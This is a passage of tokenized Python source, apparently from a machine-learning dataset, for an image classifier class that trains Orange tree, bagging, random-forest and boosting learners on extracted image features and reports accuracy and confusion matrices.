"ata", " ", "is", " ", "a", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "name", " ", "we", " ", "save", " ", "the", " ", "data", " ", "to", " ", "a", " ", "tab", " ", "delim", "ited", " ", "file", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "verbo", "se", " ", "-", " ", "print", " ", "confusion", " ", "matrix", " ", "and", " ", "file", " ", "names", "\\", "10", ";", " ", " ", " ", " ", "return", "s", " ", "[", "%", "Correct", " ", "%", "Inco", "rrect", " ", "Conf", "usion", "\\u", "Matrix", "]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", "(", " ", "(", "self", ".", "m", "Fla", "vor", " ", "==", " ", "1", " ", "or", " ", "self", ".", "m", "Fla", "vor", " ", "==", " ", "3", ")", " ", "and", " ", "len", "(", "class", "Names", ")", " ", ">", " ", "2", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "logg", "er", ".", "warn", "ing", "(\"", "Boost", "ing", " ", "/", " ", "Bag", "ging", " ", "only", " ", "works", " ", "for", " ", "binar", "y", " ", "classificati", "on", " ", "task", "s", "!!!", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Class", "Names_", "=_", "class", "Names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "for", " ", "each", " ", "class", ",", " ", "get", " ", "all", " ", "of", " ", "the", " ", "data", " ", "in", " ", "the", " ", "path", " ", "and", " ", "train_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "class", "Names_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "isinstance_", "(_", "images_", "[_", "i_", "]_", ",_", "str_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "count_", "+_", "self_", "._", "\\u", "train", "Path_", "(_", "images_", "[_", "i_", "]_", ",_", "class", "Names_", "[_", "i_", "]_", ",_", "subset_", ",_", "disp_", ",_", "verbose_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "count_", "+_", "self_", "._", "\\u", "train", "Image", "Set_", "(_", "images_", "[_", "i_", "]_", ",_", "class", "Names_", "[_", "i_", "]_", ",_", "subset_", ",_", "disp_", ",_", "verbose_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "col", "Names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "extractor_", "in_", "self_", "._", "m", "Feature", "Extract", "ors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "Names_", "._", "extend_", "(_", "extractor_", "._", "get", "Field", "Names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "count_", "<=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\"", "No", " ", "features", " ", "extracted", " ", "-", " ", "bai", "ling", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "m", "Ora", "nge", "Domain_", "=_", "orange", "_", "._", "Domain_", "(_", "map_", "(_", "orange", "_", "._", "Float", "Variable_", ",_", "col", "Names_", ")_", ",_", "orange", "_", "._", "Enum", "Variable_", "(_", "\"", "type", "\"_", ",_", "values_", "=_", "self_", "._", "m", "Class", "Names_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Data", "Set", "Orange_", "=_", "orange", "_", "._", "Exam", "ple", "Table_", "(_", "self_", "._", "m", "Ora", "nge", "Domain_", ",_", "self_", "._", "m", "Data", "Set", "Raw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "saved", "ata_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "orange", "_", "._", "save", "Tab", "Delimite", "d_", "(_", "saved", "ata_", ",_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "m", "Flavor_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Learner", "_", "=_", "orange", "_", "._", "Tree", "Learner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "self_", "._", "m", "Learner", "_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "m", "Flavor_", "==_", "1_", ")_", ":_", "#", "bag", "ged_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Tree_", "=_", "orange", "_", "._", "Tree", "Learner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Learner", "_", "=_", "orn", "g", "Ensemble", "_", "._", "Bag", "ged", "Learner", "_", "(_", "self_", "._", "m", "Tree_", ",_", "t_", "=_", "self_", "._", "m", "Fla", "vor", "Params_", "[_", "\"", "NC", "lass", "ifie", "rs", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "self_", "._", "m", "Learner", "_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "m", "Flavor_", "==_", "2_", ")_", ":_", "#", "forest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Tree_", "=_", "orange", "_", "._", "Tree", "Learner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Learner", "_", "=_", "orn", "g", "Ensemble", "_", "._", "Random", "Fore", "st", "Learner", "_", "(_", "trees_", "=_", "self_", "._", "m", "Fla", "vor", "Params_", "[_", "\"", "NT", "ree", "s", "\"_", "]_", ",_", "attributes_", "=_", "self_", "._", "m", "Fla", "vor", "Params_", "[_", "\"", "NA", "ttr", "ibut", "es", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "self_", "._", "m", "Learner", "_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "m", "Flavor_", "==_", "3_", ")_", ":_", "#", "boost", "ed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Tree_", "=_", "orange", "_", "._", "Tree", "Learner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Learner", "_", "=_", "orn", "g", "Ensemble", "_", "._", "Boost", "ed", "Learner", "_", "(_", "self_", "._", "m", "Tree_", ",_", "t_", "=_", "self_", "._", "m", "Fla", "vor", "Params_", "[_", "\"", "NC", "lass", "ifie", "rs", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "self_", "._", "m", "Learner", "_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "correct_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "incorrect", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "count_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c_", "=_", "self_", "._", "m", "Classifier_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test_", "=_", "self_", "._", "m", "Data", "Set", "Orange_", "[_", "i_", "]_", "._", "getc", "lass_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "original", "\"_", ",_", "test_", ",_", "\"", "classified", " ", "as", "\"_", ",_", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "test_", "==_", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct_", "=_", "correct_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "incorrect", "_", "=_", "incorrect", "_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "good_", "=_", "100_", "*_", "(_", "float_", "(_", "correct_", ")_", "/_", "float_", "(_", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad_", "=_", "100_", "*_", "(_", "float_", "(_", "incorrect", "_", ")_", "/_", "float_", "(_", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "confusion", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "len_", "(_", "self_", "._", "m", "Class", "Names_", ")_", ">_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cross", "Validator_", "=_", "orn", "g", "Test_", "._", "learn", "And", "Test", "On", "Learn", "Data_", "(_", "[_", "self_", "._", "m", "Learner", "_", "]_", ",_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "confusion", "_", "=_", "orn", "g", "Stat_", "._", "confusion", "Matr", "ices", "_", "(_", "cross", "Validator_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Correct", ":", " ", "\"_", "+_", "str_", "(_", "good_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Inco", "rrect", ":", " ", "\"_", "+_", "str_", "(_", "bad_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "confusion", "_", "!=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "classes_", "=_", "self_", "._", "m", "Data", "Set", "Orange_", "._", "domain_", "._", "class", "Var_", "._", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "t", "\"_", "+_", "\"\\\\", "t", "\"_", "._", "join_", "(_", "classes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "class", "Name_", ",_", "class", "Conf", "usion", "s_", "in_", "zip_", "(_", "classes_", ",_", "confusion", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "(_", "\"%", "s", "\"_", "+_", "(_", "\"\\\\", "t", "%", "i", "\"_", "*_", "len_", "(_", "classes_", ")_", ")_", ")_", "%_", "(_", "(_", "class", "Name_", ",_", ")_", "+_", "tuple_", "(_", "class", "Conf", "usion", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "m", "Flavor_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "Print", "Tree_", "(_", "self_", "._", "m", "Classifier_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "good_", ",_", "bad_", ",_", "confusion", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test_", "(_", "self_", ",_", "images_", ",_", "class", "Names_", ",_", "disp_", "=_", "None_", ",_", "subset_", "=_", "-_", "1_", ",_", "saved", "ata_", "=_", "None_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "the", " ", "classif", "ier", ".", "\\", "10", ";", " ", " ", " ", " ", "images", " ", "param", "ater", " ", "can", " ", "take", " ", "in", " ", "a", " ", "list", " ", "of", " ", "path", "s", " ", "or", " ", "a", " ", "list", " ", "of", " ", "images", "ets", "\\", "10", ";", " ", " ", " ", " ", "images", " ", "-", " ", "the", " ", "order", " ", "of", " ", "the", " ", "path", "s", " ", "or", " ", "images", "ets", " ", "must", " ", "be", " ", "in", " ", "the", " ", "same", " ", "order", " ", "as", " ", "the", " ", "class", " ", "type", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Not", "e", " ", "all", " ", "image", " ", "classe", "s", " ", "must", " ", "be", " ", "in", " ", "seperat", "e", " ", "director", "ies", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "The", " ", "class", " ", "names", " ", "must", " ", "als", "o", " ", "align", " ", "to", " ", "the", " ", "director", "ies", " ", "or", " ", "images", "ets", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "disp", " ", "-", " ", "if", " ", "display", " ", "is", " ", "a", " ", "display", " ", "we", " ", "show", " ", "images", " ", "and", " ", "class", " ", "label", ",", "\\", "10", ";", " ", " ", " ", " ", "other", "wis", "e", " ", "not", "hing", " ", "is", " ", "don", "e", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "subse", "t", " ", "-", " ", "if", " ", "subse", "t", " ", "=", " ", "-1", " ", "we", " ", "use", " ", "the", " ", "whole", " ", "dataset", ".", " ", "If", " ", "subse", "t", " ", "=", " ", "#", " ", "then", " ", "we", "\\", "10", ";", " ", " ", " ", " ", "use", " ", "min", "(", "#", "images", ",", "subse", "t", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "saved", "ata", " ", "-", " ", "if", " ", "save", " ", "data", " ", "is", " ", "Non", "e", " ", "not", "hing", " ", "is", " ", "saved", ".", " ", "If", " ", "saved", "ata", " ", "is", " ", "a", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "name", " ", "we", " ", "save", " ", "the", " ", "data", " ", "to", " ", "a", " ", "tab", " ", "delim", "ited", " ", "file", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "verbo", "se", " ", "-", " ", "print", " ", "confusion", " ", "matrix", " ", "and", " ", "file", " ", "names", "\\", "10", ";", " ", " ", " ", " ", "return", "s", " ", "[", "%", "Correct", " ", "%", "Inco", "rrect", " ", "Conf", "usion", "\\u", "Matrix", "]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Class", "Names_", "=_", "class", "Names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "Names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "extractor_", "in_", "self_", "._", "m", "Feature", "Extract", "ors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "Names_", "._", "extend_", "(_", "extractor_", "._", "get", "Field", "Names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "m", "Ora", "nge", "Domain_", "is_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Ora", "nge", "Domain_", "=_", "orange", "_", "._", "Domain_", "(_", "map_", "(_", "orange", "_", "._", "Float", "Variable_", ",_", "col", "Names_", ")_", ",_", "orange", "_", "._", "Enum", "Variable_", "(_", "\"", "type", "\"_", ",_", "values_", "=_", "self_", "._", "m", "Class", "Names_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dataset_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "class", "Names_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "isinstance_", "(_", "images_", "[_", "i_", "]_", ",_", "str_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "dataset_", ",_", "cnt_", ",_", "crc", "t_", "]_", "=_", "self_", "._", "\\u", "test", "Path_", "(_", "images_", "[_", "i_", "]_", ",_", "class", "Names_", "[_", "i_", "]_", ",_", "dataset_", ",_", "subset_", ",_", "disp_", ",_", "verbose_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "count_", "+_", "cnt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct_", "=_", "correct_", "+_", "crc", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "dataset_", ",_", "cnt_", ",_", "crc", "t_", "]_", "=_", "self_", "._", "\\u", "test", "Image", "Set_", "(_", "images_", "[_", "i_", "]_", ",_", "class", "Names_", "[_", "i_", "]_", ",_", "dataset_", ",_", "subset_", ",_", "disp_", ",_", "verbose_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "count_", "+_", "cnt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct_", "=_", "correct_", "+_", "crc", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "test", "Data_", "=_", "orange", "_", "._", "Exam", "ple", "Table_", "(_", "self_", "._", "m", "Ora", "nge", "Domain_", ",_", "dataset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "saved", "ata_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "orange", "_", "._", "save", "Tab", "Delimite", "d_", "(_", "saved", "ata_", ",_", "test", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "confusion", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "len_", "(_", "self_", "._", "m", "Class", "Names_", ")_", ">_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cross", "Validator_", "=_", "orn", "g", "Test_", "._", "learn", "And", "Test", "On", "Test", "Data_", "(_", "[_", "self_", "._", "m", "Learner", "_", "]_", ",_", "self_", "._", "m", "Data", "Set", "Orange_", ",_", "test", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "confusion", "_", "=_", "orn", "g", "Stat_", "._", "confusion", "Matr", "ices", "_", "(_", "cross", "Validator_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "good_", "=_", "100_", "*_", "(_", "float_", "(_", "correct_", ")_", "/_", "float_", "(_", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad_", "=_", "100_", "*_", "(_", "float_", "(_", "count_", "-_", "correct_", ")_", "/_", "float_", "(_", "count_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Correct", ":", " ", "\"_", "+_", "str_", "(_", "good_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Inco", "rrect", ":", " ", "\"_", "+_", "str_", "(_", "bad_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "confusion", "_", "!=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "classes_", "=_", "self_", "._", "m", "Data", "Set", "Orange_", "._", "domain_", "._", "class", "Var_", "._", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "t", "\"_", "+_", "\"\\\\", "t", "\"_", "._", "join_", "(_", "classes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "class", "Name_", ",_", "class", "Conf", "usion", "s_", "in_", "zip_", "(_", "classes_", ",_", "confusion", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "(_", "\"%", "s", "\"_", "+_", "(_", "\"\\\\", "t", "%", "i", "\"_", "*_", "len_", "(_", "classes_", ")_", ")_", ")_", "%_", "(_", "(_", "class", "Name_", ",_", ")_", "+_", "tuple_", "(_", "class", "Conf", "usion", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "good_", ",_", "bad_", ",_", "confusion", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Path_", "(_", "self_", ",_", "path_", ",_", "class", "Name_", ",_", "dataset_", ",_", "subset_", ",_", "disp_", ",_", "verbose_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "correct_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad", "Feat", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ext_", "in_", "IMA", "GE", "\\u", "FORMATS_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "files_", "._", "extend_", "(_", "glob_", "._", "glob_", "(_", "os_", "._", "path_", "._", "join_", "(_", "path_", ",_", "ext_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "subset_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nfile", "s_", "=_", "min_", "(_", "subset_", ",_", "len_", "(_", "files_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nfile", "s_", "=_", "len_", "(_", "files_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "nfile", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "infile_", "=_", "files_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Open", "ing", " ", "file", ":", " ", "\"_", "+_", "infile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "img_", "=_", "Image_", "(_", "infile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feature", "Vector_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "extractor_", "in_", "self_", "._", "m", "Feature", "Extract", "ors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feats_", "=_", "extractor_", "._", "extract_", "(_", "img_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "feats_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "feature", "Vector_", "._", "extend_", "(_", "feats_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "bad", "Feat", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "bad", "Feat", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "img_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad", "Feat", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "Vector_", "._", "extend_", "(_", "[_", "class", "Name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset_", "._", "append_", "(_", "feature", "Vector_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test_", "=_", "orange", "_", "._", "Exam", "ple", "Table_", "(_", "self_", "._", "m", "Ora", "nge", "Domain_", ",_", "[_", "feature", "Vector_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "m", "Classifier_", "(_", "test_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test", "Class_", "=_", "test_", "[_", "0_", "]_", "._", "getc", "lass_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "test", 